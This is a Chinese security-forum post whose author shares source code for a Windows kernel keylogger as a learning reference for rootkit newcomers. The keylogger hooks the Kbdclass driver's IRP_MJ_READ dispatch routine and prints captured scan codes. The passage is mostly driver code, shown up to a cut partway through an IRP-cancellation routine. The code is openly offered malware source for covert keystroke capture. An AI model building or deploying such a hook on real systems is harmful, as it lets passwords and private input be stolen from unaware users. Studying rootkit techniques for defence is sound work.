作 者: cogito
前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。
承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。
本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。
主要代码如下:
代码:
#include <wdm.h> #include <ntddkbd.h> #include "IRPKlog.h" //要获取的设备驱动名 #define KBD_DRIVER_NAME L"//Driver//Kbdclass" //保存原有分发函数指针 PDRIVER_DISPATCH OldDispatchRead; //保存键盘驱动设备对象 PDRIVER_OBJECT KbdDriverObject; //未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看 int numPendingIrps = 0; extern POBJECT_TYPE IoDriverObjectType; //保存当前pending的IRP 用于卸载时取消 PIRP PendingIrp = NULL; BOOLEAN CancelKeyboardIrp(IN PIRP Irp) { if (Irp == NULL) { DbgPrint( "CancelKeyboardIrp: Irp error/n" ); return FALSE; } // // 这里有些判断不是必须的,不过还是小心点好 // if ( Irp->Cancel || Irp->CancelRoutine == NULL ) { DbgPrint( "Can't Cancel the irp/n" ); return FALSE; } if ( FALSE == IoCancelIrp( Irp ) ) { DbgPrint( "IoCancelIrp() to failed/n" ); return FALSE; } // // 取消后重设此例程为空 /